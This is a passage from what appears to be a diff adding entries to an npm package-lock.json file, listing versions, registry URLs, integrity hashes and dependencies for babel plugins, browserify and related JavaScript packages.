"integrity": "sha1-AMHNsaynERLN8M9hJsLta0V8zbw=", + "dev": true, + "requires": { + "babel-helper-regex": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" + } + }, + "babel-plugin-transform-es2015-template-literals": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-template-literals/-/babel-plugin-transform-es2015-template-literals-6.22.0.tgz", + "integrity": "sha1-qEs0UPfp+PH2g51taH2oS7EjbY0=", + "dev": true, + "requires": { + "babel-runtime": "^6.22.0" + } + }, + "babel-plugin-transform-es2015-typeof-symbol": { + "version": "6.23.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-typeof-symbol/-/babel-plugin-transform-es2015-typeof-symbol-6.23.0.tgz", + "integrity": "sha1-3sCfHN3/lLUqxz1QXITfWdzOs3I=", + "dev": true, + "requires": { + "babel-runtime": "^6.22.0" + } + }, + "babel-plugin-transform-es2015-unicode-regex": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-unicode-regex/-/babel-plugin-transform-es2015-unicode-regex-6.24.1.tgz", + "integrity": "sha1-04sS9C6nMj9yk4fxinxa4frrNek=", + "dev": true, + "requires": { + "babel-helper-regex": "^6.24.1", + "babel-runtime": "^6.22.0", + "regexpu-core": "^2.0.0" + } + }, + "babel-plugin-transform-exponentiation-operator": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-exponentiation-operator/-/babel-plugin-transform-exponentiation-operator-6.24.1.tgz", + "integrity": "sha1-KrDJx/MJj6SJB3cruBP+QejeOg4=", + "requires": { + "babel-helper-builder-binary-assignment-operator-visitor": "^6.24.1", + "babel-plugin-syntax-exponentiation-operator": "^6.8.0", + "babel-runtime": "^6.22.0" + } + }, + "babel-plugin-transform-flow-strip-types": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-flow-strip-types/-/babel-plugin-transform-flow-strip-types-6.22.0.tgz", + "integrity": "sha1-hMtnKTXUNxT9wyvOhFaNh0Qc988=", + "dev": true, + "requires": { + "babel-plugin-syntax-flow": "^6.18.0", + "babel-runtime": "^6.22.0" + } + }, + "babel-plugin-transform-object-rest-spread": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-object-rest-spread/-/babel-plugin-transform-object-rest-spread-6.26.0.tgz", + "integrity": "sha1-DzZpLVD+9rfi1LOsFHgTepY7ewY=", + "requires": { + "babel-plugin-syntax-object-rest-spread": "^6.8.0", + "babel-runtime": "^6.26.0" + } + }, + "babel-plugin-transform-react-display-name": { + "version": "6.25.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-display-name/-/babel-plugin-transform-react-display-name-6.25.0.tgz", + "integrity": "sha1-Z+K/Hx6ck6sI25Z5LgU5K/LMKNE=", + "dev": true, + "requires": { + "babel-runtime": "^6.22.0" + } + }, + "babel-plugin-transform-react-jsx": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-jsx/-/babel-plugin-transform-react-jsx-6.24.1.tgz", + "integrity": "sha1-hAoCjn30YN/DotKfDA2R9jduZqM=", + "dev": true, + "requires": { + "babel-helper-builder-react-jsx": "^6.24.1", + "babel-plugin-syntax-jsx": "^6.8.0", + "babel-runtime": "^6.22.0" + } + }, + "babel-plugin-transform-react-jsx-self": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-jsx-self/-/babel-plugin-transform-react-jsx-self-6.22.0.tgz", + "integrity": "sha1-322AqdomEqEh5t3XVYvL7PBuY24=", + "dev": true, + "requires": { + "babel-plugin-syntax-jsx": "^6.8.0", + "babel-runtime": "^6.22.0" + } + }, + "babel-plugin-transform-react-jsx-source": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-jsx-source/-/babel-plugin-transform-react-jsx-source-6.22.0.tgz", + "integrity": "sha1-ZqwSFT9c0tF7PBkmj0vwGX9E7NY=", + "dev": true, + "requires": { + "babel-plugin-syntax-jsx": "^6.8.0", + "babel-runtime": "^6.22.0" + } + }, + "babel-plugin-transform-regenerator": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-regenerator/-/babel-plugin-transform-regenerator-6.26.0.tgz", + "integrity": "sha1-4HA2lvveJ/Cj78rPi03KL3s6jy8=", + "dev": true, + "requires": { + "regenerator-transform": "^0.10.0" + } + }, + "babel-plugin-transform-runtime": { + "version": "6.23.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-runtime/-/babel-plugin-transform-runtime-6.23.0.tgz", + "integrity": "sha1-iEkNRGUC6puOfvsP4J7E2ZR5se4=", + "dev": true, + "requires": { + "babel-runtime": "^6.22.0" + } + }, + "babel-plugin-transform-strict-mode": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-strict-mode/-/babel-plugin-transform-strict-mode-6.24.1.tgz", + "integrity": "sha1-1fr3qleKZbvlkc9e2uBKDGcCB1g=", + "dev": true, + "requires": { + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" + } + }, + "babel-polyfill": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-polyfill/-/babel-polyfill-6.26.0.tgz", + "integrity": "sha1-N5k3q8Z9eJWXCtxiHyhM2WbPIVM=", + "dev": true, + "requires": { + "babel-runtime": "^6.26.0", + "core-js": "^2.5.0", + "regenerator-runtime": "^0.10.5" + }, + "dependencies": { + "regenerator-runtime": { + "version": "0.10.5", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.10.5.tgz", + "integrity": "sha1-M2w+/BIgrc7dosn6tntaeVWjNlg=", + "dev": true + } + } + }, + "babel-preset-env": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/babel-preset-env/-/babel-preset-env-1.7.0.tgz", + "integrity": "sha512-9OR2afuKDneX2/q2EurSftUYM0xGu4O2D9adAhVfADDhrYDaxXV0rBbevVYoY9n6nyX1PmQW/0jtpJvUNr9CHg==", + "dev": true, + "requires": { + "babel-plugin-check-es2015-constants": "^6.22.0", + "babel-plugin-syntax-trailing-function-commas": "^6.22.0", + "babel-plugin-transform-async-to-generator": "^6.22.0", + "babel-plugin-transform-es2015-arrow-functions": "^6.22.0", + "babel-plugin-transform-es2015-block-scoped-functions": "^6.22.0", + "babel-plugin-transform-es2015-block-scoping": "^6.23.0", + "babel-plugin-transform-es2015-classes": "^6.23.0", + "babel-plugin-transform-es2015-computed-properties": "^6.22.0", + "babel-plugin-transform-es2015-destructuring": "^6.23.0", + "babel-plugin-transform-es2015-duplicate-keys": "^6.22.0", + "babel-plugin-transform-es2015-for-of": "^6.23.0", + "babel-plugin-transform-es2015-function-name": "^6.22.0", + "babel-plugin-transform-es2015-literals": "^6.22.0", + "babel-plugin-transform-es2015-modules-amd": "^6.22.0", + "babel-plugin-transform-es2015-modules-commonjs": "^6.23.0", + "babel-plugin-transform-es2015-modules-systemjs": "^6.23.0", + "babel-plugin-transform-es2015-modules-umd": "^6.23.0", + "babel-plugin-transform-es2015-object-super": "^6.22.0", + "babel-plugin-transform-es2015-parameters": "^6.23.0", + "babel-plugin-transform-es2015-shorthand-properties": "^6.22.0", + "babel-plugin-transform-es2015-spread": "^6.22.0", + "babel-plugin-transform-es2015-sticky-regex": "^6.22.0", + "babel-plugin-transform-es2015-template-literals": "^6.22.0", + "babel-plugin-transform-es2015-typeof-symbol": "^6.23.0", + "babel-plugin-transform-es2015-unicode-regex": "^6.22.0", + "babel-plugin-transform-exponentiation-operator": "^6.22.0", + "babel-plugin-transform-regenerator": "^6.22.0", + "browserslist": "^3.2.6", + "invariant": "^2.2.2", + "semver": "^5.3.0" + } + }, + "babel-preset-es2015": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-preset-es2015/-/babel-preset-es2015-6.24.1.tgz", + "integrity": "sha1-1EBQ1rwsn+6nAqrzjXJ6AhBTiTk=", + "dev": true, + "requires": { + "babel-plugin-check-es2015-constants": "^6.22.0", + "babel-plugin-transform-es2015-arrow-functions": "^6.22.0", + "babel-plugin-transform-es2015-block-scoped-functions": "^6.22.0", + "babel-plugin-transform-es2015-block-scoping": "^6.24.1", + "babel-plugin-transform-es2015-classes": "^6.24.1", + "babel-plugin-transform-es2015-computed-properties": "^6.24.1", + "babel-plugin-transform-es2015-destructuring": "^6.22.0", + "babel-plugin-transform-es2015-duplicate-keys": "^6.24.1", + "babel-plugin-transform-es2015-for-of": "^6.22.0", + "babel-plugin-transform-es2015-function-name": "^6.24.1", + "babel-plugin-transform-es2015-literals": "^6.22.0", + "babel-plugin-transform-es2015-modules-amd": "^6.24.1", + "babel-plugin-transform-es2015-modules-commonjs": "^6.24.1", + "babel-plugin-transform-es2015-modules-systemjs": "^6.24.1", + "babel-plugin-transform-es2015-modules-umd": "^6.24.1", + "babel-plugin-transform-es2015-object-super": "^6.24.1", + "babel-plugin-transform-es2015-parameters": "^6.24.1", + "babel-plugin-transform-es2015-shorthand-properties": "^6.24.1", + "babel-plugin-transform-es2015-spread": "^6.22.0", + "babel-plugin-transform-es2015-sticky-regex": "^6.24.1", + "babel-plugin-transform-es2015-template-literals": "^6.22.0", + "babel-plugin-transform-es2015-typeof-symbol": "^6.22.0", + "babel-plugin-transform-es2015-unicode-regex": "^6.24.1", + "babel-plugin-transform-regenerator": "^6.24.1" + } + }, + "babel-preset-fbjs": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/babel-preset-fbjs/-/babel-preset-fbjs-3.4.0.tgz", + "integrity": "sha512-9ywCsCvo1ojrw0b+XYk7aFvTH6D9064t0RIL1rtMf3nsa02Xw41MS7sZw216Im35xj/UY0PDBQsa1brUDDF1Ow==", + "peer": true, + "requires": { + "@babel/plugin-proposal-class-properties": "^7.0.0", + "@babel/plugin-proposal-object-rest-spread": "^7.0.0", + "@babel/plugin-syntax-class-properties": "^7.0.0", + "@babel/plugin-syntax-flow": "^7.0.0", + "@babel/plugin-syntax-jsx": "^7.0.0", + "@babel/plugin-syntax-object-rest-spread": "^7.0.0", + "@babel/plugin-transform-arrow-functions": "^7.0.0", + "@babel/plugin-transform-block-scoped-functions": "^7.0.0", + "@babel/plugin-transform-block-scoping": "^7.0.0", + "@babel/plugin-transform-classes": "^7.0.0", + "@babel/plugin-transform-computed-properties": "^7.0.0", + "@babel/plugin-transform-destructuring": "^7.0.0", + "@babel/plugin-transform-flow-strip-types": "^7.0.0", + "@babel/plugin-transform-for-of": "^7.0.0", + "@babel/plugin-transform-function-name": "^7.0.0", + "@babel/plugin-transform-literals": "^7.0.0", + "@babel/plugin-transform-member-expression-literals": "^7.0.0", + "@babel/plugin-transform-modules-commonjs": "^7.0.0", + "@babel/plugin-transform-object-super": "^7.0.0", + "@babel/plugin-transform-parameters": "^7.0.0", + "@babel/plugin-transform-property-literals": "^7.0.0", + "@babel/plugin-transform-react-display-name": "^7.0.0", + "@babel/plugin-transform-react-jsx": "^7.0.0", + "@babel/plugin-transform-shorthand-properties": "^7.0.0", + "@babel/plugin-transform-spread": "^7.0.0", + "@babel/plugin-transform-template-literals": "^7.0.0", + "babel-plugin-syntax-trailing-function-commas": "^7.0.0-beta.0" + }, + "dependencies": { + "babel-plugin-syntax-trailing-function-commas": { + "version": "7.0.0-beta.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-trailing-function-commas/-/babel-plugin-syntax-trailing-function-commas-7.0.0-beta.0.tgz", + "integrity": "sha512-Xj9XuRuz3nTSbaTXWv3itLOcxyF4oPD8douBBmj7U9BBC6nEBYfyOJYQMf/8PJAFotC62UY5dFfIGEPr7WswzQ==", + "peer": true + } + } + }, + "babel-preset-flow": { + "version": "6.23.0", + "resolved": "https://registry.npmjs.org/babel-preset-flow/-/babel-preset-flow-6.23.0.tgz", + "integrity": "sha1-5xIYiHCFrpoktb5Baa/7WZgWxJ0=", + "dev": true, + "requires": { + "babel-plugin-transform-flow-strip-types": "^6.22.0" + } + }, + "babel-preset-react": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-preset-react/-/babel-preset-react-6.24.1.tgz", + "integrity": "sha1-umnfrqRfw+xjm2pOzqbhdwLJE4A=", + "dev": true, + "requires": { + "babel-plugin-syntax-jsx": "^6.3.13", + "babel-plugin-transform-react-display-name": "^6.23.0", + "babel-plugin-transform-react-jsx": "^6.24.1", + "babel-plugin-transform-react-jsx-self": "^6.22.0", + "babel-plugin-transform-react-jsx-source": "^6.22.0", + "babel-preset-flow": "^6.23.0" + } + }, + "babel-preset-stage-2": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-preset-stage-2/-/babel-preset-stage-2-6.24.1.tgz", + "integrity": "sha1-2eKWD7PXEYfw5k7sYrwHdnIZvcE=", + "requires": { + "babel-plugin-syntax-dynamic-import": "^6.18.0", + "babel-plugin-transform-class-properties": "^6.24.1", + "babel-plugin-transform-decorators": "^6.24.1", + "babel-preset-stage-3": "^6.24.1" + } + }, + "babel-preset-stage-3": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-preset-stage-3/-/babel-preset-stage-3-6.24.1.tgz", + "integrity": "sha1-g2raCp56f6N8sTj7kyb4eTSkg5U=", + "requires": { + "babel-plugin-syntax-trailing-function-commas": "^6.22.0", + "babel-plugin-transform-async-generator-functions": "^6.24.1", + "babel-plugin-transform-async-to-generator": "^6.24.1", + "babel-plugin-transform-exponentiation-operator": "^6.24.1", + "babel-plugin-transform-object-rest-spread": "^6.22.0" + } + }, + "babel-register": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-register/-/babel-register-6.26.0.tgz", + "integrity": "sha1-btAhFz4vy0htestFxgCahW9kcHE=", + "dev": true, + "requires": { + "babel-core": "^6.26.0", + "babel-runtime": "^6.26.0", + "core-js": "^2.5.0", + "home-or-tmp": "^2.0.0", + "lodash": "^4.17.4", + "mkdirp": "^0.5.1", + "source-map-support": "^0.4.15" + } + }, + "babel-runtime": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz", + "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", + "requires": { + "core-js": "^2.4.0", + "regenerator-runtime": "^0.11.0" + } + }, + "babel-template": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-template/-/babel-template-6.26.0.tgz", + "integrity": "sha1-3gPi0WOWsGn0bdn/+FIfsaDjXgI=", + "requires": { + "babel-runtime": "^6.26.0", + "babel-traverse": "^6.26.0", + "babel-types": "^6.26.0", + "babylon": "^6.18.0", + "lodash": "^4.17.4" + } + }, + "babel-traverse": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-traverse/-/babel-traverse-6.26.0.tgz", + "integrity": "sha1-RqnL1+3MYsjlwGTi0tjQ9ANXZu4=", + "requires": { + "babel-code-frame": "^6.26.0", + "babel-messages": "^6.23.0", + "babel-runtime": "^6.26.0", + "babel-types": "^6.26.0", + "babylon": "^6.18.0", + "debug": "^2.6.8", + "globals": "^9.18.0", + "invariant": "^2.2.2", + "lodash": "^4.17.4" + } + }, + "babel-types": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-types/-/babel-types-6.26.0.tgz", + "integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=", + "requires": { + "babel-runtime": "^6.26.0", + "esutils": "^2.0.2", + "lodash": "^4.17.4", + "to-fast-properties": "^1.0.3" + } + }, + "babel-walk": { + "version": "3.0.0-canary-5", + "resolved": "https://registry.npmjs.org/babel-walk/-/babel-walk-3.0.0-canary-5.tgz", + "integrity": "sha512-GAwkz0AihzY5bkwIY5QDR+LvsRQgB/B+1foMPvi0FZPMl5fjD7ICiznUiBdLYMH1QYe6vqu4gWYytZOccLouFw==", + "dev": true, + "requires": { + "@babel/types": "^7.9.6" + } + }, + "babylon": { + "version": "6.18.0", + "resolved": "https://registry.npmjs.org/babylon/-/babylon-6.18.0.tgz", + "integrity": "sha1-ry87iPpvXB5MY00aD46sT1WzleM=" + }, + "balanced-match": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", + "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=" + }, + "base": { + "version": "0.11.2", + "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz", + "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==", + "requires": { + "cache-base": "^1.0.1", + "class-utils": "^0.3.5", + "component-emitter": "^1.2.1", + "define-property": "^1.0.0", + "isobject": "^3.0.1", + "mixin-deep": "^1.2.0", + "pascalcase": "^0.1.1" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "requires": { + "is-descriptor": "^1.0.0" + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==" + } + } + }, + "base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==" + }, + "bcrypt-pbkdf": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", + "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", + "dev": true, + "optional": true, + "requires": { + "tweetnacl": "^0.14.3" + } + }, + "becke-ch--regex--s0-0-v1--base--pl--lib": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/becke-ch--regex--s0-0-v1--base--pl--lib/-/becke-ch--regex--s0-0-v1--base--pl--lib-1.4.0.tgz", + "integrity": "sha1-Qpzuu/pffpNueNc/vcfacWKyDiA=", + "dev": true + }, + "big.js": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-3.2.0.tgz", + "integrity": "sha512-+hN/Zh2D08Mx65pZ/4g5bsmNiZUuChDiQfTUQ7qJr4/kuopCr88xZsAXv6mBoZEsUI4OuGHlX59qE94K2mMW8Q==", + "dev": true + }, + "binary-extensions": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-1.8.0.tgz", + "integrity": "sha1-SOyNFt9Dd+rl+liEaCSAr02Vx3Q=", + "dev": true + }, + "bindings": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz", + "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==", + "dev": true, + "optional": true, + "requires": { + "file-uri-to-path": "1.0.0" + } + }, + "bl": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/bl/-/bl-1.2.1.tgz", + "integrity": "sha1-ysMo977kVzDUBLaSID/LWQ4XLV4=", + "dev": true, + "requires": { + "readable-stream": "^2.0.5" + } + }, + "block-stream": { + "version": "0.0.9", + "resolved": "https://registry.npmjs.org/block-stream/-/block-stream-0.0.9.tgz", + "integrity": "sha1-E+v+d4oDIFz+A3UUgeu0szAMEmo=", + "dev": true, + "requires": { + "inherits": "~2.0.0" + } + }, + "bluebird": { + "version": "3.5.1", + "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.1.tgz", + "integrity": "sha512-MKiLiV+I1AA596t9w1sQJ8jkiSr5+ZKi0WKrYGUn6d1Fx+Ij4tIj+m2WMQSGczs5jZVxV339chE8iwk6F64wjA==", + "dev": true + }, + "bn.js": { + "version": "4.11.7", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.7.tgz", + "integrity": "sha512-LxFiV5mefv0ley0SzqkOPR1bC4EbpPx8LkOz5vMe/Yi15t5hzwgO/G+tc7wOtL4PZTYjwHu8JnEiSLumuSjSfA==", + "dev": true + }, + "bo-selector": { + "version": "0.0.10", + "resolved": "https://registry.npmjs.org/bo-selector/-/bo-selector-0.0.10.tgz", + "integrity": "sha1-mBbcsArfN06oeUGoY7Ks/AJq+j4=", + "dev": true + }, + "body": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/body/-/body-5.1.0.tgz", + "integrity": "sha1-5LoM5BCkaTYyM2dgnstOZVMSUGk=", + "dev": true, + "requires": { + "continuable-cache": "^0.3.1", + "error": "^7.0.0", + "raw-body": "~1.1.0", + "safe-json-parse": "~1.0.1" + } + }, + "boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha1-aN/1++YMUes3cl6p4+0xDcwed24=", + "dev": true + }, + "brace-expansion": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.8.tgz", + "integrity": "sha1-wHshHHyVLsH479Uad+8NHTmQopI=", + "requires": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "braces": { + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/braces/-/braces-1.8.5.tgz", + "integrity": "sha1-uneWLhLf+WnWt2cR6RS3N4V79qc=", + "dev": true, + "requires": { + "expand-range": "^1.8.1", + "preserve": "^0.2.0", + "repeat-element": "^1.1.2" + } + }, + "brorand": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/brorand/-/brorand-1.1.0.tgz", + "integrity": "sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8=", + "dev": true + }, + "browser-pack": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/browser-pack/-/browser-pack-6.1.0.tgz", + "integrity": "sha512-erYug8XoqzU3IfcU8fUgyHqyOXqIE4tUTTQ+7mqUjQlvnXkOO6OlT9c/ZoJVHYoAaqGxr09CN53G7XIsO4KtWA==", + "dev": true, + "requires": { + "combine-source-map": "~0.8.0", + "defined": "^1.0.0", + "JSONStream": "^1.0.3", + "safe-buffer": "^5.1.1", + "through2": "^2.0.0", + "umd": "^3.0.0" + } + }, + "browser-resolve": { + "version": "1.11.3", + "resolved": "https://registry.npmjs.org/browser-resolve/-/browser-resolve-1.11.3.tgz", + "integrity": "sha512-exDi1BYWB/6raKHmDTCicQfTkqwN5fioMFV4j8BsfMU4R2DK/QfZfK7kOVkmWCNANf0snkBzqGqAJBao9gZMdQ==", + "dev": true, + "requires": { + "resolve": "1.1.7" + }, + "dependencies": { + "resolve": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.1.7.tgz", + "integrity": "sha1-IDEU2CrSxe2ejgQRs5ModeiJ6Xs=", + "dev": true + } + } + }, + "browser-stdout": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz", + "integrity": "sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==", + "dev": true + }, + "browserify": { + "version": "16.2.2", + "resolved": "https://registry.npmjs.org/browserify/-/browserify-16.2.2.tgz", + "integrity": "sha512-fMES05wq1Oukts6ksGUU2TMVHHp06LyQt0SIwbXIHm7waSrQmNBZePsU0iM/4f94zbvb/wHma+D1YrdzWYnF/A==", + "dev": true, + "requires": { + "assert": "^1.4.0", + "browser-pack": "^6.0.1", + "browser-resolve": "^1.11.0", + "browserify-zlib": "~0.2.0", + "buffer": "^5.0.2", + "cached-path-relative": "^1.0.0", + "concat-stream": "^1.6.0", + "console-browserify": "^1.1.0", + "constants-browserify": "~1.0.0", + "crypto-browserify": "^3.0.0", + "defined": "^1.0.0", + "deps-sort": "^2.0.0", + "domain-browser": "^1.2.0", + "duplexer2": "~0.1.2", + "events": "^2.0.0", + "glob": "^7.1.0", + "has": "^1.0.0", + "htmlescape": "^1.1.0", + "https-browserify": "^1.0.0", + "inherits": "~2.0.1", + "insert-module-globals": "^7.0.0", + "JSONStream": "^1.0.3", + "labeled-stream-splicer": "^2.0.0", + "mkdirp": "^0.5.0", + "module-deps": "^6.0.0", + "os-browserify": "~0.3.0", + "parents": "^1.0.1", + "path-browserify": "~0.0.0", + "process": "~0.11.0", + "punycode": "^1.3.2", + "querystring-es3": "~0.2.0", + "read-only-stream": "^2.0.0", + "readable-stream": "^2.0.2", + "resolve": "^1.1.4", + "shasum": "^1.0.0", + "shell-quote": "^1.6.1", + "stream-browserify": "^2.0.0", + "stream-http": "^2.0.0", + "string_decoder": "^1.1.1", + "subarg": "^1.0.0", + "syntax-error": "^1.1.1", + "through2": "^2.0.0", + "timers-browserify": "^1.0.1", + "tty-browserify": "0.0.1", + "url": "~0.11.0", + "util": "~0.10.1", + "vm-browserify": "^1.0.0", + "xtend": "^4.0.0" + }, + "dependencies": { + "buffer": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.1.0.tgz", + "integrity": "sha512-YkIRgwsZwJWTnyQrsBTWefizHh+8GYj3kbL1BTiAQ/9pwpino0G7B2gp5tx/FUBqUlvtxV85KNR3mwfAtv15Yw==", + "dev": true, + "requires": { + "base64-js": "^1.0.2", + "ieee754": "^1.1.4" + } + }, + "concat-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", + "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", + "dev": true, + "requires": { + "buffer-from": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^2.2.2", + "typedarray": "^0.0.6" + } + }, + "events": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/events/-/events-2.1.0.tgz", + "integrity": "sha512-3Zmiobend8P9DjmKAty0Era4jV8oJ0yGYe2nJJAxgymF9+N8F2m0hhZiMoWtcfepExzNKZumFU3ksdQbInGWCg==", + "dev": true + }, + "glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + } + }, + "tty-browserify": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/tty-browserify/-/tty-browserify-0.0.1.tgz", + "integrity": "sha512-C3TaO7K81YvjCgQH9Q1S3R3P3BtN3RIM8n+OvX4il1K1zgE8ZhI0op7kClgkxtutIE8hQrcrHBXvIheqKUUCxw==", + "dev": true + }, + "vm-browserify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-1.1.0.tgz", + "integrity": "sha512-iq+S7vZJE60yejDYM0ek6zg308+UZsdtPExWP9VZoCFCz1zkJoXFnAX7aZfd/ZwrkidzdUZL0C/ryW+JwAiIGw==", + "dev": true + } + } + }, + "browserify-aes": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/browserify-aes/-/browserify-aes-1.0.6.tgz", + "integrity": "sha1-Xncl297x/Vkw1OurSFZ85FHEigo=", + "dev": true, + "requires": { + "buffer-xor": 